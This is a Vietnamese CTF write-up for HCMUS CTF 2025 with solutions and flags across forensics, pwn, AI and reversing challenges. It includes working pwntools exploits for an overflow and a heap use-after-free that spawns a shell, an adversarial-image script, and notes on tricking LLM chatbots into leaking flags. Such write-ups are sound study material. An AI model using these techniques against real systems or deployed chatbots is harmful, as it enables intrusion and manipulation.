# HCMUS CTF 2025 Writeup
## MISC
### Is This Bad Apple? - The Sequel
- Đề bài bài này thì có liên quan đến video của bài tên tương tự. ta chỉ cần check thumbnail của video là có flag.

`Flag: HCMUS-CTF{Right_under_your_nose_lol}`
### Is This Bad Apple?
- Bài này dẫn ta đến một video youtube. Thì đây là kĩ thuật gọi là glitch storage. Tìm tool trên github để extract data được chuyển thành video.
- [Link tool](https://github.com/DvorakDwarf/Infinite-Storage-Glitch)
- Sau khi setup tool và extract thì ta được dữ liệu là file png chứ flag

`Flag: HCMUS-CTF{YaaS_Youtube_as_a_Storage}`
### PJSK
- Đề bài cho ta một file beat của project sekai được custom bằng mikumikuworld.
- Note có nhắc ta nên OSINT thì tôi đã osint dựa vào `./an_0098_01.flac` và `./jacket_s_098.png` tìm được được tên của file gốc trên [sonolus](https://sonolus.sekai.best/levels/sekai-best-98-400-master)

- Việc còn lại chỉ cần làm là xóa đi các note gốc trong file chal.sus còn lại những note mà tác giả đã thêm vào.
- Sau khi xóa xong thì các note trắng sẽ là . (dot) thanh slide màu xanh sẽ là - (dash)

Nội dung sau khi extract
`.... -.-. -- ..- ... -....- -.-. - ..-. --- -- --. ..--.- .. - ..--.- -- .. --. ..- ..--.- ---... -..`
`Flag: HCMUS-CTF{OMG_IT_MIGU_:D}`
## Forensic
### TLS Challenge
- Theo như đề bài ta load tls keylog vào wireshark để đọc TLS encrypted và follow theo stream HTTP 1.

`Flag: HCMUS-CTF{tls_tr@ffic_@n@lysis_ch@ll3ng3}`
### Trashbin
- Đề bài cho file pcap chứa nhiều giao thức SMB
- Extract các nội dung SMB ra thì ta sẽ tìm được flag.


`Flag: HCMUS-CTF{pr0t3ct_y0ur_SMB_0r_d1e}`
### Disk Partition
- Đề bài cho file disk image mở file đó lên bằng ftk imager.
- Tên bài có nhắc đến partition nên ta chỉ cần tìm kĩ các partition sẽ tìm được flag.

`Flag: HCMUS-CTF{1gn0r3_+h3_n01$3_f1nd_m@c}`
### File Hidden
- Đề bài cho một file âm nhạc và nói rằng có flag được giấu đâu đó trong waveform.
- Sau khi kiểm tra và lắng nghe một hồi thì mình nghĩ đây là kĩ thuật giấu tin trong LSB trên waveform.
Script để extract:
```python!
import wave
import struct
wav = wave.open("cc.wav", mode='rb')
frame_bytes = bytearray(list(wav.readframes(wav.getnframes())))
bytes_vals = struct.unpack('B' * len(frame_bytes), frame_bytes)
def bin2string(bin_str):
return ''.join(chr(int(bin_str[i:i+8], 2)) for i in range(0, len(bin_str), 8))
def bin2hex(bin_str):
return ''.join(hex(int(bin_str[i:i+8], 2))[2:].zfill(2)
for i in range(0, len(bin_str), 8))
data = ''
c = 0
Length = 0
Data = []
for b in bytes_vals:
if Length == 50000:
break
if b == 0:
data += str(b&1)
else:
data += str(b&1)
c += 1
Length += 1
if len(data) == 8:
Data.append(bin2hex(data))
data = ''
for i in Data:
print(i, end='')
```
Sau khi extract ta có được bytes của data

Convert nó sang file bin và dùng foremost để extract được file zip ra trong đó sẽ chứa flag

Có header của file pkzip.
`Flag: HCMUS-CTF{Th13nLy_0i_J4ck_5M1ll10n}`
## Pwnable
### CSES
- Challenge sinh hoán vị của các số từ 1 - 100, nhiệm vụ của mình là đoán đúng hoán vị để có flag.
- 
- Tuy nhiên do mảng `query[0x80]` nhưng lại fgets 0xB8, ngay sau mảng `query[]` là mảng `arr[]` chứa các số hoán vị
- 
- 
- Do đó khi query, với 0x38 bytes overflow sẽ ghi đè được 14 số đầu tiên của `arr[]`, từ đó mỗi lần query sẽ leak được 14 byte `query[payload]`.
- Với 6 lần query sẽ leak được 84 số kèm 14 số đã ghi đè thì mình đã biết được 98 số, còn 2 số cuối mình lọc ra 16 số chưa xuất hiện rồi chọn 2 trong 16 số để điền vào, bruteforce đến khi ra flag.
- 
```python!
from pwn import *
from subprocess import check_output
import sys
import os
#Cre: vilex1337
_path = "./chall"
context.binary = exe = ELF(_path, checksec=False)
# libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
addr = 'localhost'
port = 8080
cmd = f'''
set solib-search-path {os.getcwd()}
decompiler connect ida --host localhost --port 3662
breakrva 0x2AAC
continue
'''
def conn():
if args.LOCAL:
if args.GDB:
p = gdb.debug(_path, cmd)
else:
p = exe.process()
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p
def p(_data, _arch = 64, endian = 'little'):
switcher = {
64: p64(_data & 0xffffffffffffffff, endian),
32: p32(_data & 0xffffffff, endian),
16: p16(_data & 0xffff, endian),
8: p8(_data & 0xff, endian)
}
return switcher[_arch]
chall = conn()
def sl(_data):
chall.sendline(_data)
def sla(rgx, _data):
chall.sendlineafter(rgx, _data)
def se(_data):
chall.send(_data)
def sa(rgx, _data):
chall.sendafter(rgx, _data)
def check():
chall.interactive()
exit()
def read_idx(payloads):
result = []
for payload in payloads:
chall.recv(timeout=1)
sl(b'?')
sl(payload[:-1])
for i in range(14):
result.append(int.from_bytes(chall.recv(1), 'little'))
print(len(result))
return result
def main():
global chall
while True:
try:
chall.recvuntil(b'100\n')
arrsize = 0x150 # 1 byte only
tmp = []
result = []
payload = b'0' * 0x64
payload += b'\x00' * (0x80 - len(payload))
for i in range(0, arrsize, 4):
payload += p(0x81 + i + 0x38, 32)
if 0x81 + i + 0x38 >= 465:
result.append(0x81 + i + 0x38)
if(len(payload) == 0xb8):
tmp.append(payload)
payload = b'0' * 0x64
payload += b'\x00' * (0x80 - len(payload))
if (len(payload) > 0x80):
tmp.append(payload)
print(len(tmp))
result.extend(read_idx(tmp))
guess = []
for i in range(1, 101):
if i not in result:
guess.append(i)
result.append(guess[8])
result.append(guess[0])
payload = b''
sl(b'!')
for i in result:
payload += str(i).encode() + b' '
print(payload)
print(guess)
sl(payload[:-1])
chall.recvuntil(b'Congratulations!')
check()
except:
chall.close()
chall = conn()
continue
if __name__ == "__main__":
main()
```
`Flag: HCMUS-CTF{A_b!t_of_OVerFL0W_4ND_brU7e_fORcin9_mAY_Be_neC3SsArY}`
### Dragonballs
- Challenge mô phỏng game dragonballs với 3 class chính là saiyan, namek, earth
- 
- Trong đó player sẽ có các thao tác sau
- 
- Các class có function pointer riêng và được gọi khi currentPlayer được sử dụng
- 
- 
- Bug của bài này nằm ở option chuyển class. Nếu không đủ tiền để chuyển đổi class thì hàm destruct special skill vẫn được gọi nhưng pointer đến special skill không bị xóa đi mà return
- 
- Do đó có double free và use after free khi kết hợp với broadcast message để free chunk special skill
- Tuy nhiên, do chỉ có thể thay đổi data của chunk bằng cách alloc mới mà không có option modify nên mình setup để double free fastbin chứ không phải tcachebin, từ đó có sẵn chain 2 chunk overlap
- 
- Cụ thể mình tạo 1 chuỗi nhiều hơn 9 chunk message size 0x40 có thể free liên tiếp sao cho chunk special skill nằm ở gần cuối chuỗi, chunk special skill cần được free sau khi đã free 8 chunk để đảm bảo vào fastbin và trước khi free 1 chunk nữa để không nằm trên fastbin top chunk, từ đó free chunk special skill thêm 1 lần nữa thì có được 2 chunk đè nhau trong cache mà không bị double free
- Sau đó mình leak heap bằng cách để cho 1 chunk message alloc vào chunk special skill đã free trước đó, sau đó dùng bug để destruct free rồi leak heap thông qua view message
- 
- 
- Vì special skill của class saiyan có thêm 1 pointer đồng thời skill_sub sẽ được free khi destruct nên mình để class saiyan trước khi đến bước tiếp theo
- 
- Với pointer này, mình sẽ sửa thành pointer của struct tcache vì heap đã biết, do đó sau khi destruct special skill sẽ free tcache struct và sau đó có thể ghi đè tcache struct
- 
- 
- Sau khi destruct
- 
- Sau đó bằng việc setup các pointer để ghi đè pointer message của chunk message, mình có thể leak được address main, address libc
- 
- Tcache sau khi đã sửa
- 
- Leak main address
- 
- Leak libc address
- 
- Cuối cùng sửa struct currentPlayer để khi gọi show_info sẽ gọi system("/bin/sh")
- 
- 
```python!
from pwn import *
from subprocess import check_output
import sys
import os
#Cre: vilex1337
_path = "./chall_patched"
context.binary = exe = ELF(_path, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
cmd = f'''
set solib-search-path {os.getcwd()}
decompiler connect ida --host localhost --port 3662
# breakrva 0x3532
continue
'''
def conn():
if args.LOCAL:
if args.GDB:
p = gdb.debug(_path, cmd)
else:
p = exe.process()
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p
def p(_data, _arch = 64, endian = 'little'):
switcher = {
64: p64(_data & 0xffffffffffffffff, endian),
32: p32(_data & 0xffffffff, endian),
16: p16(_data & 0xffff, endian),
8: p8(_data & 0xff, endian)
}
return switcher[_arch]
chall = conn()
def sl(_data):
chall.sendline(_data)
def sla(rgx, _data):
chall.sendlineafter(rgx, _data)
def se(_data):
chall.send(_data)
def sa(rgx, _data):
chall.sendafter(rgx, _data)
def check():
chall.interactive()
exit()
def signup(_class):
sla(b'Enter choice: ', b'1')
sla(b'Enter choice: ', str(_class).encode())
def viewinfo():
sla(b'Enter choice: ', b'2')
def upstat(stat, amount, _skip = False):
if _skip:
ret = b'3\n' + str(stat).encode() + b'\n' + str(amount).encode() + b'\n'
return ret
sla(b'Enter choice: ', b'3')
sla(b'Enter choice: ', str(stat).encode())
sla(b'Enter amount: ', str(amount).encode())
def upskill(_skip = False):
if _skip:
ret = b'4\n'
return ret
sla(b'Enter choice: ', b'4')
def changeclass(new_class):
sla(b'Enter choice: ', b'5')
sla(b'Enter choice: ', str(new_class).encode())
def fight(ene_type, payload, _skip = False):
if _skip:
ret = b'6\n' + str(ene_type).encode() + b'\n' + payload + b'\n'
return ret
sla(b'Enter choice: ', b'6')
sla(b'Choose enemy type (1-5): ', str(ene_type).encode())
sla(b'Enter skill sequence (1=melee, 2=blast, 3=special): ', payload)
def msg(message):
sla(b'Enter choice: ', b'7')
sa(b'(up to 1023 bytes): ', message)
def viewmsg():
sla(b'Enter choice: ', b'8')
def delbroad():
sla(b'Enter choice: ', b'9')
def exit_func():
sla(b'Enter choice: ', b'10')
def calculate_xored_heap(_xored):
return
def farm():
for i in range(10):
fight(1, b'2323232323232323232323232323232323232323232323')
upstat(1, 1000 // 20)
for j in range(10):
fight(4, b'2323232323232323232323232323232323232323232323')
def main():
#create overlapped chunk
signup(2)
farm()
for i in range(4150 // 200):
changeclass(1)
changeclass(3)
changeclass(1)
msg(b'z' * 0x38)
changeclass(3)
changeclass(2)
msg(b'z' * 0x38)
changeclass(3)
msg(b'x' * 0x38)
upstat(1, 4000 // 20)
fight(3, b'11111111111111111111111111111')
for i in range(4):
msg(b'p' * 0x30)
delbroad()
changeclass(3)
fight(4, b'1111111111')
for i in range(3):
msg(b'q' * 0x30)
msg(b'x' * 0x100)
msg(b'x' * 0x30)
changeclass(3)
#Leak heap
viewmsg()
chall.recvuntil(b'From [')
_heap_xored = int.from_bytes(chall.recv(6), 'little')
_heap = _heap_xored >> (12 *3)
_heap = (_heap << 12) | (_heap ^ ((_heap_xored >> (12 * 2)) & 0xfff))
_heap = (_heap << 12) | ((_heap & 0xfff) ^ ((_heap_xored >> 12) & 0xfff))
_heap = (_heap << 12) | ((_heap & 0xfff) ^ (_heap_xored & 0xfff))
log.info(f"Heap xored: {hex(_heap_xored)}")
log.info(f"Heap: {hex(_heap)}")
_heap >>= 12
msg(b'x' * 0x100)
fight(1, b'1111111')
target = (_heap << 12) + 0x10
msg(p(target) * (0x30 >> 3))
changeclass(3)
#Take control Tcache struct
payload = b''
#Clean tcache
payload += p(0x0001000000000000)
payload += p(0x0001000100010001) * 0xf
# 0x20, 0x30, 0x40 = 0
payload += p(0) * 3
# 0x50 = leak main (overwrite message) // p(address leak) + p(0) then showmsg
payload += p((_heap << 12) + 0x410)
# 0x60 = leak libc (overwrite message) // p(address leak) + p(0) then showmsg
payload += p((_heap << 12) + 0x410)
payload += p(0) * 2
# 0x90 = overwrite current player
payload += p((_heap << 12) + 0x2a0)
payload += b'\x00' * (0x280 - len(payload))
msg(payload)
fight(2, b'1111111111')
#overwrite message struct to leak main
payload = p((_heap << 12) + 0x308) + p(0)
payload += b'\x00' * (0x40 - len(payload))
msg(payload)
viewmsg()
chall.recvuntil(b'Msg [1]: ')
main_base = int.from_bytes(chall.recv(6), 'little') - 0x7160
log.info(f"Main leak: {hex(main_base)}")
#overwrite message struct to leak libc
payload = p(main_base + 0x7020) + p(0)
payload += b'\x00' * (0x50 - len(payload))
msg(payload)
viewmsg()
chall.recvuntil(b'Msg [2]: ')
libc.address = int.from_bytes(chall.recv(6), 'little') - 0x2045c0
log.info(f"Libc leak: {hex(libc.address)}")
#overwrite current player
payload = b'/bin/sh\x00' * (0x68 >> 3)
payload += p((_heap << 12) + 0x310 - 0x38)
payload += p(libc.sym['system']) * 2
payload += b'\x00' * (0x82 - len(payload))
msg(payload)
viewinfo()
check()
if __name__ == "__main__":
main()
```
`Flag: HCMUS-CTF{Just_aN_OrD1NARY_u@F_ch@1LeN6E}`
## AI
### Campus tour
- Thử 1 vài cách prompt để leak flag do key word "flag" và các thành phần liên quan tới flag bị ban nên trong số các prompt thử trong đó có 1 prompt lấy đc flag như sau:

`flag HCMUS-CTF{c0N9r@Ts_Y0u_FO0LED_Th3_lLM}`
### Pixel Penguin
- Challenge cho vẽ hình chim cách cụt và sử dụng 2 model ai để đánh giá. Flag bị chia làm 4 phần, mỗi phần sẽ được leak ra khi thỏa mãn tương ứng các điều kiện khi nhận điện bằng 2 model
- 
- Do có source của challenge nên mình sử dụng 2 model có sẵn để tạo hình ảnh, sau đó dùng code đánh giá để chấm điểm cho đến khi hình ảnh thỏa mã điều kiện
- 
- Sau đó submit ảnh lên remote để lấy flag
- 
Script gen ảnh:
```python!
import torch
from torchvision.models import shufflenet_v2_x2_0, regnet_x_1_6gf
from torchvision.models import ShuffleNet_V2_X2_0_Weights, RegNet_X_1_6GF_Weights
from torchvision.utils import save_image
from PIL import Image
import numpy as np
import os
# Load models
shufflenet = shufflenet_v2_x2_0(weights=None)
regnet = regnet_x_1_6gf(weights=None)
shufflenet.load_state_dict(torch.load("models/shufflenet-weighs.pth", map_location="cpu"))
regnet.load_state_dict(torch.load("models/regnet-weights.pth", map_location="cpu"))
shufflenet.eval()
regnet.eval()
# Load transforms
shuffle_transform = ShuffleNet_V2_X2_0_Weights.IMAGENET1K_V1.transforms()
regnet_transform = RegNet_X_1_6GF_Weights.IMAGENET1K_V2.transforms()
# Constants
target_class = 145 # Penguin
image_size = (1, 3, 128, 128)
def canvas_data_from_tensor(tensor):
final_img = torch.clamp(tensor.squeeze(0), 0, 1).permute(1, 2, 0).detach().cpu().numpy()
rgb_255 = (final_img * 255).astype(np.uint8)
rgba_img = np.concatenate([rgb_255, 255 * np.ones((128, 128, 1), dtype=np.uint8)], axis=2)
return rgba_img.flatten().tolist()
def generate_image(expect_shuffle_penguin, expect_regnet_penguin, out_name):
image_tensor = torch.randn(image_size, requires_grad=True)
optimizer = torch.optim.Adam([image_tensor], lr=0.05)
for step in range(300):
optimizer.zero_grad()
t1 = shuffle_transform(torch.clamp(image_tensor[0], 0, 1)).unsqueeze(0)
t2 = regnet_transform(torch.clamp(image_tensor[0], 0, 1)).unsqueeze(0)
out1 = shufflenet(t1)
out2 = regnet(t2)
# Softmax outputs
probs1 = torch.softmax(out1, dim=1)[0]
probs2 = torch.softmax(out2, dim=1)[0]
# Build custom loss
loss = 0
if expect_shuffle_penguin:
loss -= probs1[target_class]
else:
loss += probs1[target_class] # discourage penguin
if expect_regnet_penguin:
loss -= probs2[target_class]
else:
loss += probs2[target_class] # discourage penguin
loss.backward()
optimizer.step()
image_tensor.data.clamp_(0, 1)
if step % 50 == 0:
print(f"[{out_name}] Step {step} | Penguin probs -> Shuffle: {probs1[target_class]:.4f}, RegNet: {probs2[target_class]:.4f}")
# Save image
save_image(image_tensor, f"{out_name}.png")
canvas_data = canvas_data_from_tensor(image_tensor)
try:
from judge import score_penguin_submission
result = score_penguin_submission(canvas_data)
print(f"✅ {out_name} scored:", result)
except:
print(f"⚠️ Couldn't run score for {out_name}, but image saved.")
# --- Generate all 4 combinations ---
# generate_image(False, False, "A_none_none") # Flag part 0
generate_image(True, False, "B_shuffle_only") # Flag part 2
generate_image(False, True, "C_regnet_only") # Flag part 3
generate_image(True, True, "D_both_penguin") # Flag part 1
```
Script submit:
```python!
import requests
import json
# === Server URL ===
url = "http://103.199.17.56:25001/submit_artwork"
# === Load or define your canvas_data ===
# Replace with actual generated RGBA list from your generation code
from PIL import Image
import numpy as np
# Example: load and convert a local RGBA image to canvas_data
def image_to_canvas_data(path):
img = Image.open(path).convert("RGBA").resize((128, 128))
rgba = np.array(img, dtype=np.uint8)
return rgba.flatten().tolist()
images = ["B_shuffle_only.png", "C_regnet_only.png", "D_both_penguin.png"]
for image in images:
canvas_data = image_to_canvas_data(image)
# === Prepare JSON payload ===
payload = {
"canvas_data": canvas_data
}
# === Send request ===
headers = {
"Content-Type": "application/json",
"Origin": "http://103.199.17.56:25001",
"Referer": "http://103.199.17.56:25001/",
"User-Agent": "Mozilla/5.0"
}
print(f"🎨 Submitting canvas with {len(canvas_data)} RGBA values...")
response = requests.post(url, headers=headers, data=json.dumps(payload))
# === Print result ===
if response.ok:
try:
result = response.json()
print("✅ Server Response:", json.dumps(result, indent=2))
if "flag" in result:
print("🎉 Flag:", result["flag"])
except Exception as e:
print("⚠️ Could not parse JSON:", response.text)
else:
print(f"❌ Error {response.status_code}: {response.text}")
```
`Flag: HCMUS-CTF{yOU_ArE_a_M4$7eR_0f_p3NGu!N_dr4W!n9!!}`
### gsql1
- Đề cho ta source của chat bot trên discord liên quan đến query sql database. Ta cần tìm con bot trên discord.
- 
- Đây là prompt để lấy flag:
- 
`Flag: HCMUS-CTF{c4ut10N_W1th_u53R_Pr0mpt}`
## Reversing
### Hide and Seek:
- Đề cho 1 file main, kèm theo đó là 1 giá trị md5 trong phần description:

- Check thử giá trị md5 của file challenge thì thấy khớp với giá trị md5 của phần đề bài, nhưng sau khi chạy thì giá trị md5 của file bị thay đổi, đây cũng chính mà mấu chốt của bài này:

- Mở file với md5 khác với md5 đề bài:

- Qua examine pseudocode thì thấy chương trình bắt nhập vào 1 string sao cho md5 của string đó bằng giá trị đề cho... Và vấn đề là md5 là hàm hash và nó 1 chiều... Và giá trị đó cũng k có trong database của các tool online luôn tới đây thì khá chắc đây là 1 trap mà author đã intend, mình quay lại với file ban đầu lúc chưa thực thi và bỏ nó vào ida.
- Sau 1 thời gian tự tay chỉnh sửa, nop lại các instruction dư, vô nghĩa thì mình có source code khá đẹp:

- Tuy có source code khá đẹp nhưng cơ bản bài này vẫn khá tricky ở đoạn đầu cụ thể:

- Đoạn này sẽ vương phải chia cho 0 khiến chương trình nhảy vào 1 hàm handler:

- Sau 1 thời gian debug và reverse thì tóm lại flow sẽ như sau: Ban đầu do dword_7934 mang giá trị 0 nên sẽ intend bị chia cho 0 sẽ phải nhảy vào hàm handler. Hàm này tượng trưng cho việc bắt đầu set up cho 1 hàm đệ quy. Hàm này sẽ shuttle string của mình nhập vào cùng với đó là manipulate giá trị seed: 0x13371337. Cuối cùng hàm này execve lại chính chương trình cùng với arg là "l33t".

- Tổng cộng sẽ có 46 lần gọi lại, mỗi lần phải thỏa mãn:

-> Solution:
```python3
def seed_cal(seed_ptr):
seed_ptr = (1664525 * seed_ptr + 1013904223) & 0xFFffff
return seed_ptr
seed = 0x13371337
for i in range(45):
seed = seed_cal(seed)
target = [
114, 195, 107, 12, 207, 101, 237, 186, 24, 202,
143, 153, 230, 138, 127, 166, 228, 68, 76, 20,
91, 158, 115, 211, 97, 235, 68, 130, 13, 196,
7, 199, 229, 130, 229, 183, 10, 57, 76, 210,
81, 83, 5, 80, 18, 108, 0]
pos = [None] * 50
for i in range(47):
pos[i] = chr((seed & 0xff) ^ target[i])
seed = seed_cal(seed)
def seed_cal(seed):
return (1664525 * seed + 1013904223) & 0xFFFFFFFF
shuffled = [ord(c) for c in pos[:46]]
seed = 0x13371337
prng_sequence = []
for i in range(45, 0, -1):
seed = seed_cal(seed)
prng_sequence.append(seed % (i + 1))
prng_sequence = prng_sequence[::-1]
for i in range(1, 46):
j = prng_sequence[i - 1]
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
print(''.join(chr(b) for b in shuffled))
```
`flag: HCMUS-CTF{d1d_y0u_kn0vv_y0u12_O5_c4n_d0_th1s?}`